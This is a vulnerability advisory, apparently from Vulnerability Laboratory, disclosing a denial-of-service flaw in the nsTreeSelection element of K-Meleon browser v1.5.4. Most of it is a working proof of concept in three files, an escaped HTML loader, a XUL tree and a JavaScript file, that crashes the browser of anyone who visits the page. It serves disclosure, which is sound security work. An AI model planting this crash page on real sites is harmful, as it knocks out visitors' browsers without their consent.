|
Title:
======
K-Meleon Browser v1.5.4 - Denial of Service Vulnerability
Introduction:
=============
K-Meleon is an extremely fast, customizable, lightweight web browser based on the Gecko
layout engine developed by Mozilla which is also used by Firefox. K-Meleon is Free, Open
Source software released under the GNU General Public License and is designed specifically
for Microsoft Windows operating systems.
(Copy of the Vendor Homepage: http://kmeleon.sourceforge.net )
Abstract:
=========
Vulnerability Laboratory Research Team discovered a remote Dangle pointer (Denial of Service) Vulnerability on K-Meleon
Browser v1.5.4.
Details:
========
A denial of service vulnerability is detected on K-Meleon Browser v1.5.4 . The vulnerability allows
an attacker to form manipulated files to crash th victims browser stable when processing to request.
The null pointer dos vulnerability is located nsTreeSelection element. Successful exploitation results
in a stable (bex exception) application (StackHash_2c85) crash.
Vulnerable Module(s):
[+] nsTreeSelection element
Proof of Concept:
=================
The vulnerability can be exploited by remote attackers. Victim only need to visit the
malicious file (frame-class.html) to crash stable. For demonstration or reproduce ...
frame-class.html
<script language=JavaScript>m='%3Chtml%3E%0A%3Capplet%20code%3D%22hexHEX.class%22%20width
%3D100%20height%3D140%3E%3C/applet%3E%0A%3Cscript%3Edocument.location%3D%22tree.xul%22%3C/
script%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
tree.xul
<?xml version="1.0"?>
<?xml-stylesheet href="chrome://global/skin/" type="text/javascript"?>
<window
id="poc-test"
title="TESTING EXPLOIT"
orient="vertical"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; onload="doSelect()">
<script src="rem0ve.js"/>
<tree id="penetrationtest" rows="1" onselect="doSelect()">
<treechildren>
<treeitem container="true" open="true">
<treerow>
<treecell label="rem0ve () vulnerability-lab com"/>
</treerow>
</treeitem>
</treechildren>
</tree>
</window>
rem0ve.js
function Init()
{
var tree=document.getElementById('penetrationtest');
tree.view.selection.select(0);
doSelect();
}
function doSelect()
{
var tree=document.getElementById('penetrationtest');
var sel = tree.view.selection;
sel.tree = { invalidateRange: function(v,l)
{
sel.clearSelection();
}
}
}
setTimeout("Init()",500);
|